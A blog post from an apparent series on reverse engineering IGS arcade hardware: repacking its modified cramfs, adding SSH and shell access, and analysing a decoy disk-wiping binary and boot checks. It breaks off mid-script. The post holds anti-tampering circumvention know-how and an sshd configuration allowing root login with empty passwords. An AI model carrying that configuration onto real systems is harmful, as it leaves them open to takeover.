I peeled off the chip sticker and did a detailed analysis. The direction of the hardware analysis in part one was basically correct; I updated the chip description for IGS. The code in part two had some bugs, and I’ve updated that as well.

To analyze the game main executable efficiently, it’s best to do dynamic debugging on the device, which means getting shell access first. Aside from the CF card and I/O ports, I currently have almost no way to input anything into this device.

If I go the serial-debug route, the first step is finding the hardware debug port, and the next step is modifying the kernel’s built-in boot command. It’s a hassle, requires repacking everything back, and isn’t elegant.

The CF card has two partitions I can write to directly: one is the boot partition where the kernel lives, and the other is a partition for logs and temporary files. That second one might be able to get a shell, but “pwning” this hardware isn’t my goal.

Repacking IGS CRAMFS

Previously, based on the characteristics of IGS’s heavily modified cramfs, I extended cramfs-tools a second time—but it could only unpack, not repack. It wasn’t perfect, and I’m a bit of a perfectionist; I want it to be a real toolkit.

IGS modified cramfs structures. They added a checksum field into cramfs_inode, meaning the inode is verified on every read.

struct cramfs_super {
	unsigned int magic1;
	unsigned int future;	/* future = CRAMFS_MAGIC ^ IGS_MAGIC_MASK2 ^ IGS_MAGIC_MASK1 */ 
    char igs_info[64];
	unsigned int size;	
	unsigned int magic2;
	unsigned int flags;	
	unsigned int padding;	
	struct cramfs_info fsid;
	char name[64];	
	struct cramfs_inode root;
};
struct cramfs_inode {
	u32 inode_magic;
	u32 namelen:CRAMFS_NAMELEN_WIDTH, offset:CRAMFS_OFFSET_WIDTH;
	u32 size:CRAMFS_SIZE_WIDTH, gid:CRAMFS_GID_WIDTH;
	u32 mode:CRAMFS_MODE_WIDTH, uid:CRAMFS_UID_WIDTH;
};
struct cramfs_info {
	u32 crc;
	u32 edition;
	u32 blocks;
	u32 files;
};

In get_cramfs_inode, there’s a hidden check: it XORs inode_magic with the root inode’s magic and checks whether the result equals 0x705DE1. If not, it aborts. It’s simple, but it differs per game, and doing the same patch over and over is annoying.

The screenshot below looks readable because I spent some time on it. In fact, IDA’s decompilation was initially wrong and didn’t match the assembly at all. You have to reconstruct the struct first so the branches become correct; otherwise a lot of code gets lost.

I’ve implemented repacking for IGS cramfs: igs-toolkits cramfs-tools

Unpack

sudo ./igs-toolkits/cramfs-tools/cramfsck -v -x./out ./test.img

Repack

sudo ./igs-toolkits/cramfs-tools/mkcramfs ./out test.img

Fixing the shell environment

In the newer PM2008 versions, IGS added many anti-cracking measures. This kernel is very old, and I spent a lot of time solving compatibility problems. After testing many combinations of OS / toolchains / source versions repeatedly, I finally found a stable build environment.

Fixing agetty

After initialization, there is no tty shell, because IGS removed agetty. This component is in util-linux. It needs to be rebuilt with static linking.

CC="/opt/gcc_3.2.2/bin/gcc"
LDFLAGS="-static"
DESTDIR=/root/build-linux-utils
export LDFLAGS CC DESTDIR
./configure --enable-static
make
make install

Then add the following line to /etc/inittab. It looks like there is serial output at 115200; I still haven’t tried via COM. Since I’m researching in my bedroom and space is limited, I prefer more elegant debugging methods.

1:4:respawn:/sbin/agetty ttyS1 115200 vt102

Fixing SSH services

IGS removed the SSH service. I originally wanted to use an off-the-shelf dropbear, but none of them could run. I spent a lot of time finding a compatible dropbear 0.53 and doing a static build (fixing many errors). Many features are hardcoded in the code; I even made some patches, but weird issues still occurred.

So I had to switch to OpenSSH. Newer SSH clients have deprecated old crypto algorithms, and when connecting to an old SSH server you have to explicitly specify algorithms. So I chose a relatively newer openssh and openssl.

After building, generate key pairs. Because algorithms and formats differ, keys must be regenerated.

ssh-keygen -q -t rsa -f ssh_host_key
ssh-keygen -q -t rsa -f ssh_host_rsa_key

sshd_config needs these to be configured manually:

HostKey /home/ssh_host_key
HostKey /home/ssh_host_rsa_key
SyslogFacility AUTHPRIV
LogLevel INFO
PermitRootLogin yes
AuthorizedKeysFile	.ssh/authorized_keys
PermitEmptyPasswords yes
X11Forwarding yes
Subsystem	sftp	/home/sftp-server

Finally, you need to fix sshd’s privilege separation setup, otherwise it will error.

mkdir /var/empty
echo "sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin" >> /etc/passwd

Add the SSH startup command into the boot script mentioned earlier:

/home/sshd -f /home/sshd_config -h /home/ssh_host_rsa_key -p 22 -E /PM2008v2/pm2_data/sshd.log > /PM2008v2/pm2_data/sshd_run.log 2>&1

Fixing ifconfig and enabling networking

IGS disabled network connectivity. I saw in the game code that networking is possible: the game has an OnlineMode. Early versions had global rankings, but the current version doesn’t support it and the code has obvious traces of modification. There’s no place to trigger entering OnlineMode.

The system even has a DHCP service. The IP configuration logic is written in code.

ifconfig was stripped down—probably also modified—so I rebuilt my own.

/home/ifconfig eth0 up mtu 1500 >> /PM2008v2/pm2_data/game_stdout.log 2>&1
/home/ifconfig eth0 192.168.2.128 netmask 255.255.255.0 broadcast 192.168.2.255 >> /PM2008v2/pm2_data/game_stdout.log 2>&1

With that, it can connect to an external network.

I also built a version of busybox. I ran into a lot of compatibility issues, made some patches, and spent a long time before it finally compiled successfully. The binaries can be downloaded here:

https://github.com/gorgiaxx/igs-toolkits/tree/master/E2000_binaries

Put these files into the specified directory, repack, write to the CF card, reboot the device, and then the SSH service can be accessed directly.

Because there is no echo, I could only redirect stdout to rdisk4s4, i.e. the ext3 partition, then dump/mount it to view output. It took a lot of time to get this working; I ran these two commands countless times.

sudo dd if=/dev/rdisk4s4 of=./rdisk4s4.img bs=1M && rm -rf ./part4 && 7z x ./rdisk4s4.img -o./part4

sudo ../igs-toolkits/cramfs-tools/mkcramfs ./out test.img && sudo dd if=./test.img of=/dev/rdisk4s2 bs=1M

Game environment analysis

The E2000 host has two I/O interfaces. Control commands come from outside, so even if you get root you still can’t play the game.

Game main executable

The main game executable actually runs at /exec/PM2008v2 and starts three processes.

From the memory map you can tell this executable runs under X11 with OpenGL rendering. It can also control the card reader. It calls /dev/plx/Pci9030-0, accessing it via DMA to a virtual address—this should be the game’s physical I/O.

[IGS_Linux]root ~# cat /proc/120/maps 
08048000-084b6000 r-xp 00000000 00:08 98         /exec/PM2008v2
084b6000-084cb000 rw-p 0046e000 00:08 98         /exec/PM2008v2
084cb000-0b044000 rwxp 00000000 00:00 0 
40000000-40013000 r-xp 00000000 16:02 11153856   /lib/ld-2.3.2.so
40013000-40014000 rw-p 00012000 16:02 11153856   /lib/ld-2.3.2.so
40014000-40015000 rw-p 00000000 00:00 0 
40015000-4001d000 r-xp 00000000 16:02 57643504   /usr/sbin/cardread/lib/libcasmcard.so
4001d000-4001e000 rw-p 00007000 16:02 57643504   /usr/sbin/cardread/lib/libcasmcard.so
4001e000-40020000 rwxp 00000000 00:0b 2217       /dev/zero
40020000-4002d000 r-xp 00000000 16:02 12504408   /lib/libpthread-0.10.so
4002d000-4002e000 rw-p 0000d000 16:02 12504408   /lib/libpthread-0.10.so
4002e000-40070000 rw-p 00000000 00:00 0 
40070000-40072000 r-xp 00000000 16:02 11995640   /lib/libdl-2.3.2.so
40072000-40073000 rw-p 00001000 16:02 11995640   /lib/libdl-2.3.2.so
40073000-400de000 r-xp 00000000 16:02 28323568   /usr/X11R6/lib/libGL.so.1.0.8762
400de000-400f7000 rwxp 0006b000 16:02 28323568   /usr/X11R6/lib/libGL.so.1.0.8762
400f7000-400f8000 rwxp 00000000 00:00 0 
400f8000-400f9000 rw-p 00000000 00:00 0 
400f9000-4021e000 r-xp 00000000 16:02 11262808   /lib/libc-2.3.2.so
4021e000-40223000 rw-p 00124000 16:02 11262808   /lib/libc-2.3.2.so
40223000-40225000 rw-p 00000000 00:00 0 
40225000-40246000 r-xp 00000000 16:02 12066128   /lib/libm-2.3.2.so
40246000-40247000 rw-p 00020000 16:02 12066128   /lib/libm-2.3.2.so
40247000-40254000 r-xp 00000000 16:02 34514852   /usr/X11R6/lib/libXext.so.6.4
40254000-40255000 rw-p 0000c000 16:02 34514852   /usr/X11R6/lib/libXext.so.6.4
40255000-40331000 r-xp 00000000 16:02 33143504   /usr/X11R6/lib/libX11.so.6.2
40331000-40334000 rw-p 000db000 16:02 33143504   /usr/X11R6/lib/libX11.so.6.2
40334000-40342000 r-xp 00000000 16:02 57803624   /usr/sbin/cardread/lib/libpcsclite.so.0.0.1
40342000-40343000 rw-p 0000d000 16:02 57803624   /usr/sbin/cardread/lib/libpcsclite.so.0.0.1
40343000-40344000 rw-p 00000000 00:00 0 
40344000-40ad2000 r-xp 00000000 16:02 28719620   /usr/X11R6/lib/libGLcore.so.1.0.8762
40ad2000-40b02000 rwxp 0078d000 16:02 28719620   /usr/X11R6/lib/libGLcore.so.1.0.8762
40b02000-40b06000 rwxp 00000000 00:00 0 
40b06000-40b07000 rw-p 00000000 00:00 0 
40b07000-40b08000 r-xp 00000000 16:02 40614972   /usr/X11R6/lib/libnvidia-tls.so.1.0.8762
40b08000-40b09000 rw-p 00000000 16:02 40614972   /usr/X11R6/lib/libnvidia-tls.so.1.0.8762
40b09000-40b6b000 rw-p 00000000 00:00 0 
40b6b000-40b6c000 rw-s 00000000 00:0b 2004       /dev/plx/Pci9030-0
40b6c000-40b8c000 rw-s 00000000 00:0b 2004       /dev/plx/Pci9030-0
40b8c000-40b8d000 rw-s 00000000 00:0b 2004       /dev/plx/Pci9030-0
40b8d000-4158e000 rw-p 00000000 00:00 0 
4158e000-41596000 r-xp 00000000 16:02 34498192   /usr/X11R6/lib/libXcursor.so.1.0
41596000-41597000 rw-p 00007000 16:02 34498192   /usr/X11R6/lib/libXcursor.so.1.0
41597000-4159e000 r-xp 00000000 16:02 37237160   /usr/X11R6/lib/libXrender.so.1.2
4159e000-4159f000 rw-p 00006000 16:02 37237160   /usr/X11R6/lib/libXrender.so.1.2
4159f000-415a0000 rw-s e8001000 00:0b 1990       /dev/nvidia0
415a0000-415a1000 rw-s e8c02000 00:0b 1990       /dev/nvidia0
415a1000-415aa000 r-xp 00000000 16:02 12388932   /lib/libnss_files-2.3.2.so
415aa000-415ab000 rw-p 00008000 16:02 12388932   /lib/libnss_files-2.3.2.so
415ab000-415c2000 rw-s 00000000 00:04 0          /SYSV00000000 (deleted)
415c2000-416ee000 rw-s d0000000 00:0b 1990       /dev/nvidia0
416ee000-41750000 rw-p 00000000 00:0b 2217       /dev/zero
41750000-41791000 rw-p 00000000 00:00 0 
41791000-41893000 rw-s e0011000 00:0b 1990       /dev/nvidia0
41893000-41894000 rw-s 16fc2000 00:0b 1990       /dev/nvidia0
41894000-41895000 rw-s 17027000 00:0b 1990       /dev/nvidia0
41895000-41896000 rw-s df93b000 00:0b 1990       /dev/nvidia0
41896000-4189a000 rw-s 17025000 00:0b 1990       /dev/nvidia0
4189a000-4189b000 rw-s df939000 00:0b 1990       /dev/nvidia0
4189b000-4189c000 rw-s 17021000 00:0b 1990       /dev/nvidia0
4189c000-4199c000 rw-s e0114000 00:0b 1990       /dev/nvidia0
4199c000-4199d000 rw-s 00000000 00:04 98305      /SYSV00000000 (deleted)
4199d000-4199e000 rw-s 00000000 00:04 131074     /SYSV00000000 (deleted)
4199e000-41a56000 rw-p 00000000 00:00 0 
41a56000-41a57000 ---p 00000000 00:00 0 
41a57000-41c56000 rwxp 00001000 00:00 0 
41c56000-43096000 rw-p 00003000 00:00 0 
43096000-43097000 r--s 00000000 00:07 2709       /tmp/pcsc/.pcscpub
43097000-43098000 r--s 00001000 00:07 2709       /tmp/pcsc/.pcscpub
43098000-43099000 r--s 00002000 00:07 2709       /tmp/pcsc/.pcscpub
43099000-4309a000 r--s 00003000 00:07 2709       /tmp/pcsc/.pcscpub
4309a000-4309b000 r--s 00004000 00:07 2709       /tmp/pcsc/.pcscpub
4309b000-4309c000 r--s 00005000 00:07 2709       /tmp/pcsc/.pcscpub
4309c000-4309d000 r--s 00006000 00:07 2709       /tmp/pcsc/.pcscpub
4309d000-4309e000 r--s 00007000 00:07 2709       /tmp/pcsc/.pcscpub
4309e000-4309f000 r--s 00008000 00:07 2709       /tmp/pcsc/.pcscpub
4309f000-430a0000 r--s 00009000 00:07 2709       /tmp/pcsc/.pcscpub
430a0000-430a1000 r--s 0000a000 00:07 2709       /tmp/pcsc/.pcscpub
430a1000-430a2000 r--s 0000b000 00:07 2709       /tmp/pcsc/.pcscpub
430a2000-430a3000 r--s 0000c000 00:07 2709       /tmp/pcsc/.pcscpub
430a3000-430a4000 r--s 0000d000 00:07 2709       /tmp/pcsc/.pcscpub
430a4000-430a5000 r--s 0000e000 00:07 2709       /tmp/pcsc/.pcscpub
430a5000-430a6000 r--s 0000f000 00:07 2709       /tmp/pcsc/.pcscpub
430a6000-4352f000 rw-p 00000000 00:00 0 
43530000-441c9000 rw-p 0048a000 00:00 0 
4423c000-44322000 rw-p 01196000 00:00 0 
443a7000-444b0000 rw-p 01301000 00:00 0 
bfde2000-c0000000 rwxp ffde3000 00:00 0

The game executable itself contains a lot of strings that look like encoded data. Before this, I had never dealt with Big5 encoding. I just asked DeepSeek to write a script to identify it.

import chardet
from encodings.aliases import aliases

def try_all_encodings(hex_str):
    all_encodings = set(aliases.values())
    byte_data = bytes.fromhex(hex_str.replace(" ", ""))
    
    print(f"原始16进制数据: {hex_str}")
    print(f"字节长度: {len(byte_data)} bytes\n")
    
    detected = chardet.detect(byte_data)
    print(f"自动检测结果: {detected['encoding']} (置信度: {detected['confidence']:.2%})")
    
    common_encodings = [
        'gbk', 'gb18030', 'gb2312',
        'utf-8', 'utf-16', 'big5',
        'hz', 'iso-2022-jp', 'euc-kr'
    ]
    
    print("\n=== 常见编码测试 ===")
    for enc in common_encodings:
        try:
            decoded = byte_data.decode(enc)
            print(f"[{enc.upper()}]: {decoded}")
        except:
            pass
    
    print("\n=== 完整编码测试 ===")
    for enc in sorted(all_encodings):
        try:
            decoded = byte_data.decode(enc)
            if decoded.isprintable(): 
                print(f"[{enc}]: {decoded}")
        except:
            continue

if __name__ == "__main__":
    hex_data = "C2 F7 B6 7D 3A A6 50 AE C9 BA 56 C0 BB 31 50 A4 CE 32 50 B9 AA AD B1"
    try_all_encodings(hex_data)

The game was developed in Taiwan and uses Traditional Chinese. IDA can’t recognize it automatically, so it needs to be added manually.

Option -> Strings -> Default(8-bit) -> Insert(Right Click) -> Big5

Since it’s non-ASCII and there isn’t a great automatic way to detect it, I’ll just follow the same “fix strings” approach from the previous post.

When running the main game executable, it only prints these logs:

[IGS_Linux]root /proc/sys# /exec/PM2008v2
Device Handle 4
Version Major 4,Minor 3,Rev 0
Get Virtual address!!

[CommandPortAddresss]=0x40b8c000,[ShareRAMAddress]=0x40b6c000
Clear CommandPort Complete.
start

The dprintf logic was removed in the code, so it won’t print logs.

Bottleneck

I’ve hit a bottleneck: for rhythm games, hit detection is handled by the ASIC, and the ASIC passes the judgments to the CPU. The main executable contains no judgment logic. I’ve already analyzed the ASIC27 protocol; writing my own judgment logic would be fine, but that’s no longer “cracking”. Only by cracking the ASIC can you perfectly emulate these games. Next I need to dump the ASIC firmware, which is very difficult—I’m not sure I can finish it this year.

There are two more posts’ worth of work already done; I’ll write them when I have time.

IGS Arcade Reverse Engineering Series (4) - ASIC27 Protocol and TSGROM Static Analysis
IGS Arcade Reverse Engineering Series (5) - ASIC27 Protocol Hooking and Main Executable Patching

Rant: Hexo

Last month my Linux PC’s CPU basically cooked itself. The cause was long-term operation and poor cooling. I spent a lot of time troubleshooting, migrating tools, and then moved the blog environment to a new computer.

I used to write posts by using nvm to switch to an old Node version and running the Hexo framework to generate static pages. I hadn’t touched that setup for 8 years. Ever since then, Hexo’s dependencies have been a mess—updates always break something—so I didn’t dare to upgrade.

The old environment was very hard to run on macOS. Neither building from source nor using Homebrew worked. I don’t understand why a Node.js project needs Python 3.8.

With that pile of messy dependencies, even the latest Hexo wouldn’t work; lots of themes were incompatible. I’m already using asdf, how is it still like this? I dropped Hexo completely and spent a lot of time migrating the blog to Hugo.

IGS Arcade Reverse Engineering Series (2) - Recovering Game Files

Sun, 25 May 2025 20:37:31 +0800

In the previous post, I mentioned that the game has a protection mechanism that destroys partitions. In this post, we’ll dig deeper into it.

For a game released in 2007, its hardening/protection is relatively outdated. It mainly relies on things like concatenation and signature-tweaking. It doesn’t have the “modern app hardening arms race” vibe. The annoying part is that there are many stages in the protection flow, and each game does it differently. On top of that, some development traits (compiler optimizations, coding style) make reverse engineering more difficult.

Extracting the game itself is actually straightforward: once the game is running, you can dump it via a shell from memory or from the filesystem (if the files are written to disk). But if you want to extract multiple different games, that becomes a hassle—so let’s start with static analysis.

All in all, this reversing process feels like solving a CTF Misc challenge: it requires quite a bit of logical deduction.

Reverse Engineering Traps

In general, when analyzing filesystem contents, you rarely start from the kernel. Usually you start with init-related files.

The first step is typically checking /etc/inittab. The script starts rc first, and then starts the graphical interface:

# Begin /etc/inittab
id:4:initdefault:
si::sysinit:/etc/rc.d/init.d/rc
x:4:respawn:/etc/X11/IGS &> /dev/null
# End /etc/inittab

`/etc/rc.d/init.d/rc`

#!/bin/bash

PATH=/bin:/sbin:/usr/bin:/usr/sbin
export PATH

mount -n -o remount,rw /
mount -n -t ramfs tmp /tmp
mount -n -t proc proc /proc
mount -n -t usbdevfs usbdevfs /proc/bus/usb

#echo "copy for etc"
cp -a /etc/* /tmp
mount -n -t ramfs etc /etc
cp -a /tmp/* /etc
rm -rf /tmp/*

#echo "copy for dev"
cp -a /dev/* /tmp
mount -n -t ramfs dev /dev
cp -a /tmp/* /dev
rm -rf /tmp/*
mount -n -t devpts pts /dev/pts
mount -n -t tmpfs shm /dev/shm

#echo "copy for var"
cp -a /var/* /tmp
mount -n -t ramfs var /var
cp -a /tmp/* /var
rm -rf /tmp/*

#echo "copy for root"
cp -a /root/.b* /tmp
mount -n -t ramfs root /root
cp -a /tmp/.b* /root
rm -rf /tmp/.b*

/sbin/hdparm  -c1 -d1 -k1 -Xudma4 /dev/hdc &> /dev/null

`/etc/X11/IGS`

This script sets environment variables, starts X, then starts the card reader, and finally launches the game. Aside from the loop (which is a bit unusual), everything else looks normal. At this point, you’d definitely conclude /PM2008v2/PM2008v2 is the game binary.

#!/bin/sh

TZ="UCT"
TERM="xterm"
TempFile="/tmp/XTemp"
HZ="100"
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin
LD_LIBRARY_PATH=/usr/X11R6/lib:/usr/X11R6/lib/modules/extensions
DISPLAY=:0

export PATH LD_LIBRARY_PATH DISPLAY TERM HZ TZ

ps -A | grep XFree86 | ( while read pid tty time command; do kill -9 $pid; done )
XFree86 &> /dev/null&
mwm &> /dev/null &

/usr/X11R6/bin/xsetroot -cursor /usr/X11R6/bitmaps/empty_ptr /usr/X11R6/bitmaps/empty_ptr

if [ -f $TempFile ];then
        rm -rf $TempFile
        sleep 10
        exit 0
else
        touch $TempFile
fi


/etc/rc.d/init.d/cardreader &> /dev/null&
export TZ="CST"

#Run Game
cd /PM2008v2

while [ 1 ]
do
	./PM2008v2 &> /dev/null
	sleep 5
done

Next, I analyzed PM2008v2. At first glance, it contains a lot of “executable loader” style code. Combined with the fact that many files previously had no magic bytes, I guessed it might be dynamically loading code and reconstructing ELF binaries. Later, Nova told me this thing is not the game at all—only then did I realize how abnormal it is. This file has a lot of glibc fingerprints and feels like a statically linked glibc executable.

For convenience in reversing and later porting the game, I needed to confirm the GCC and glibc versions. PM2008v2 shows GCC: (GNU) 3.3.1, but has no glibc version string.

So I went straight to the system libc.so and tentatively treated it as glibc 2.3.2. It’s hard to build on modern Linux; even in Docker I ran into issues.

Analyzing the “Fake Game” Executable

Building GCC 3.3.1

The target kernel is i686, so I built it on CentOS 4 running in VMware. To keep the optimized assembly as consistent as possible, I wanted the same GCC version and build settings. Building this environment also helps future analysis of other games on this platform—more upfront work means fewer detours later.

wget http://mirrors.aliyun.com/gnu/gcc/gcc-3.3.1/gcc-3.3.1.tar.gz

Using Aliyun’s CentOS vault repos, install development dependencies first:

yum groupinstall "Development Tools"

Configure like this, target i686. With old GCC versions it’s better not to compile in parallel—sometimes it breaks (3.3.1 was fine, 3.2.2 wasn’t). Then remove the system GCC and install this one:

../gcc-3.3.1/configure --prefix=/opt/gcc_3.3.1 --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --host=i686-pc-gnu-linux --build=i686-pc-linux-gnu --target=i686-pc-linux-gnu
make -j8
yum remove gcc
make install

Building glibc 2.3.2

wget http://mirrors.aliyun.com/gnu/glibc/glibc-2.3.2.tar.gz
wget http://mirrors.aliyun.com/gnu/glibc/glibc-linuxthreads-2.3.2.tar.gz

linuxthreads needs to be extracted into the glibc directory:

tar -zxvf glibc-2.3.2.tar.gz
cd glibc-2.3.2
tar -zxvf ../glibc-linuxthreads-2.3.2.tar.gz

When building glibc 2.3.2 you may hit some bugs and need patches. Conveniently, the E2000 platform’s Linux is also an LFS-based system, so you can download patches from LFS glibc patches.

patch -p1 < ../patches/glibc-2.3.2-sscanf-1.patch
patch -p1 < ../patches/glibc-2.3.2-inlining_fixes-2.patch 
patch -p1 < ../patches/glibc-2.3.2-test_lfs-1.patch

Next, configure build options. For now I’ll keep it like this, because even with fine-grained optimization flags, the final assembly differs a lot from the target binary.

CC=/opt/gcc_3.3.1/bin/gcc CFLAGS="-march=pentium4 -O2" ../glibc-2.3.2/configure --prefix=/lib --disable-profile --enable-add-ons --libexecdir=/usr/lib --with-headers=/usr/include

Main differences:

Stack frame: most functions in the target binary return with 0xC9 leave, while my build typically does mov esp, ebp then pop ebp.
Inlining: calls inside some medium-length functions in the target binary are optimized into inline code.

Even if I set optimization to O3, it barely changes. Manually tweaking -fomit-frame-pointer, -finline-limit=n, etc. also didn’t help. Maybe it needs __inline__ somewhere; I didn’t have time to verify.

With this situation, generating FLIRT signatures with FLAIR barely recovers symbols for functions that still contain internal calls.

After analysis, PM2008v2 is basically just a killdisk function, statically linked with glibc.

Therefore, if you execute inittab directly, it’s impossible to launch the actual game.

System Initialization Analysis

Community Reverse Engineering Notes

Nova told me some information earlier. But honestly, from these notes alone I can’t infer the exact loading flow. I can only tell the file header needs to be restored, rc0.d is actually an ELF and will be executed at boot. Also, the Submarine Crisis game files differ somewhat from my PM2008 game files.

https://github.com/batteryshark/igstools/blob/main/scripts/igs_rofsv1_dumpexec.py

This script is used to recover game files. I tried it and it can produce an ELF, but importing it into IDA causes errors. I didn’t know how the generated file is supposed to run, so I still needed to analyze it myself.

Analyzing the Kernel Boot Flow

By analyzing dependencies and other environment variables, I still couldn’t find any path that launches the game. In the previous post, I analyzed filesystem mounting; after mounting, there’s a whole series of operations. IDA may fail to decompile extremely large functions, but that’s not a big problem—the real pain point isn’t here.

In the previous post, since I was analyzing a filesystem that’s a modified fork of open-source code, I could compare against the original, so not recovering other symbols was fine. This kernel is 2.4; the bzImage doesn’t carry a symbol table. A lot of code here is developed by IGS themselves; some syscalls aren’t invoked via int. When syscalls are involved and symbols aren’t recovered, analysis is still annoying. If you want to use BinDiff, you’d need IDA 8, and I didn’t have time to port it to macOS. Linux has a syscall table; if IGS didn’t customize syscalls, you can directly transplant syscall symbols from your own built kernel.

Also, IDA 9 doesn’t parse this old Linux 2.4 kernel very well. Many xrefs and instructions aren’t recognized and need manual fixing.

Fixing Immediate-Value Xrefs

import ida_ida
import ida_bytes
import ida_ua
import idautils

def find_immediate_values_and_convert_to_offset(start_range, end_range):
    converted_count = 0
    checked_count = 0
    min_ea = ida_ida.inf_get_min_ea()
    max_ea = ida_ida.inf_get_max_ea()
    print(f"EA range: 0x{start_range:X} - 0x{end_range:X}")
    print(f"Immediate Value Range：0x{min_ea:X} - 0x{max_ea:X}")

    for ea in idautils.Heads():
        if not ida_bytes.is_code(ida_bytes.get_flags(ea)):
            continue

        insn = ida_ua.insn_t()
        if ida_ua.decode_insn(insn, ea) == 0:
            continue

        if  start_range <= ea and ea <= end_range:
            for op_num in range(ida_ida.UA_MAXOP):
                op = insn.ops[op_num]
                if op.type == ida_ua.o_void:
                    break
                if op.type == ida_ua.o_imm:
                    imm_value = op.value
                    if op.value > 0xFFFFFFFF:
                        imm_value = (0xFFFFFFFF & op.value)
                    checked_count += 1
                    if min_ea <= imm_value and imm_value <= max_ea:
                        if idc.op_offset(ea, op_num, REF_OFF32):
                            converted_count += 1
                        else:
                            print(f"  -> Convert Failed: 0x{ea:X}[{op_num}]")

    print(f"Immediate Value: {checked_count}, Converted: {converted_count}")

Fixing String Data

Possibly because xrefs aren’t fully recognized, string recognition often misses a few bytes at the beginning. You need to manually fix strings.

def get_the_firsstr_ea(ea):
    addr = ea - 1
    last_byte = ida_bytes.get_byte(addr)
    if 32 < last_byte and last_byte < 127:
        ea = get_the_firsstr_ea(addr)
    return ea

def find_str_address(start_ea, end_ea):
    current_ea = start_ea
    found_count = 0
    while current_ea < end_ea:
        if current_ea == ida_idaapi.BADADDR:
            break
        address_flags = ida_bytes.get_flags(current_ea)
        if ida_bytes.is_strlit(address_flags):
            str_size = ida_bytes.get_item_size(current_ea)
            the_first_str_addr = get_the_firsstr_ea(current_ea)
            if the_first_str_addr != current_ea:
                len = current_ea - the_first_str_addr + str_size
                ida_bytes.create_strlit(the_first_str_addr, len, 0)
                print(f"Fix str at 0x{current_ea:X}, before: {str_size}, after: {len}")
        current_ea += ida_bytes.get_item_size(current_ea)
        continue

Kernel Thread

From the code above, we can see the first step of game initialization is to run /bin/zsh with these parameters:

export HOME=/
export TERM=linux
export PATH=/bin:/usr/bin:/sbin:/usr/sbin
/bin/zsh /etc/rc.d/rc0.d __KERNEL__ -no-print -PM2008v2

The next step is running /mnt/GECA:

export HOME=/
export TERM=linux
export PATH=/bin:/usr/bin:/sbin:/usr/sbin
/mnt/GECA /etc/rc.d/rc0.d __KERNEL__ -no-print -PM2008v2

Finally, it tries these:

if ( execute_command )
      run_init_process((const char *)execute_command);
run_init_process("/sbin/init"); // 存在
run_init_process("/etc/init");  // 不存在
run_init_process("/bin/init");  // 不存在
run_init_process("/bin/sh");    // 指向bash

The kernel cmdline can be found in parse_cmdline_early, and is not controlled by LILO.

If you set an external boot cmdline, there’s a backdoor that checks whether the bootloader parameter equals “JBoot”. If it doesn’t, it goes into an infinite loop.

Does this “JBoot” stand for a bootloader written by someone named James? 👀

bootloader=JBoot

The built-in kernel boot args:

root=/dev/hdc2 ro console=ttyS1,115200 BOOT_IMAGE=PM2008v2

It doesn’t set init=, so it will definitely execute /sbin/init, and then /etc/inittab.

Getting Stuck Restoring ZSH Symbols

The trail leads to /bin/zsh. Its entry point looks the same as PM2008v2, so I assumed it’s also based on some modified glibc. But after importing a FLIRT signature, only the innermost functions were recognized—likely due to the same optimization issue.

/Applications/IDA\ Professional\ 9.1.app/Contents/MacOS/tools/flair/sigmake ~/RE/igs/libc.pat ~/RE/igs/libc2.3.2.o2.sig
/Applications/IDA\ Professional\ 9.1.app/Contents/MacOS/tools/flair/pelf ~/RE/igs/libc.a ~/RE/igs/libc.pat

At this point I still don’t know exactly which GCC and glibc it was based on. Considering that many executables later may also use glibc, I need to pin down the version and see if there’s a fast way to recover symbols.

Dependency analysis

Using YAFAF (a tool I wrote five years ago), I can quickly find relevant dependencies. rc*.d should be game code.

rc0.d

GLIBC_2.1
GLIBC_2.0
GCC: (GNU) 3.2.2 20030222 (Red Hat Linux 3.2.2-5)

rc2.d

GCC_3.0
GLIBC_2.0
GLIBC_2.1
GLIBC_2.2.3
GLIBC_2.1.3
GLIBC_2.3
GLIBC_2.2
GLIBC_2.3.2
GLIBC_2.0
GLIBC_2.1
GLIBCPP_3.2
GLIBC_2.2
GLIBC_2.1.3
GLIBC_2.3
GLIBC_2.3.2

rc9

GCC: (GNU) 3.3.1
GCC: (GNU) 3.2.1 20021207 (Red Hat Linux 8.0 3.2.1-2)
GCC: (GNU) 3.2.1 20030202 (Red Hat Linux 8.0 3.2.1-7)
GCC: (GNU) 3.2.2 20030222 (Red Hat Linux 3.2.2-4)
GCC: (GNU) 3.2.2 20030222 (Red Hat Linux 3.2.2-5)

From these fingerprints, these files look like fragments stitched together from ELF files built in multiple different environments.

And /sbin/init also appears to be based on glibc 2.3.x, so I tried building glibc 2.3.2 with GCC 3.2.2. On CentOS 3, parallel compilation fails for this GCC version. Luckily, I’d seen similar errors when building OpenWrt in the past—otherwise I would’ve been stuck for a long time with zero search results about the root cause.

../gcc-3.2.2/configure --prefix=/opt/gcc_3.2.2 --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --with-system-zlib --enable-__cxa_atexit

make
make install

When building glibc, whether O2 or O3, it almost never inlines functions. I still don’t understand why, can’t find answers, and asking LLMs didn’t help either.

CC=/opt/gcc_3.2.2/bin/gcc CFLAGS="-march=pentium4 -O2" ../glibc-2.3.2/configure --prefix=/lib --disable-profile --enable-add-ons --libexecdir=/usr/lib --with-headers=/usr/include
CC=/opt/gcc_3.2.2/bin/gcc CFLAGS="-O3" ../glibc-2.3.2/configure --prefix=/lib --disable-profile --enable-add-ons --libexecdir=/usr/lib --with-headers=/usr/include

Recovering ZSH Symbols

I don’t like doing repetitive mechanical work. If I had to reverse zsh directly, I’d be bored to death.

This IDA version isn’t great at recognizing instructions; many places require manual recovery. After using the script below, the next step is to recover function entry points (I had a similar script in the previous post).

def find_and_make_instrument(start_ea, end_ea):
    image_base = idaapi.get_imagebase()

    current_ea = start_ea
    found_count = 0

    while current_ea < end_ea:
        if current_ea == ida_idaapi.BADADDR:
            break
        address_flags = ida_bytes.get_flags(current_ea)

        if ida_bytes.is_code(address_flags):
            current_ea += ida_bytes.get_item_size(current_ea)
            continue
        else:
            ida_bytes.del_items(0x8052606, 0, 1)
            if ida_ua.can_decode(current_ea):
                print("Decode instruments at 0x{:X}".format(current_ea))
                insn_size = ida_ua.decode_insn(ida_ua.insn_t(), current_ea)
                ida_bytes.del_items(current_ea, 0, insn_size)
                offset = ida_ua.create_insn(current_ea)
                if offset > 0:
                    found_count += 1
                    if idc.get_func_flags(current_ea) != -1:
                        current_ea += offset
                        continue
                else:
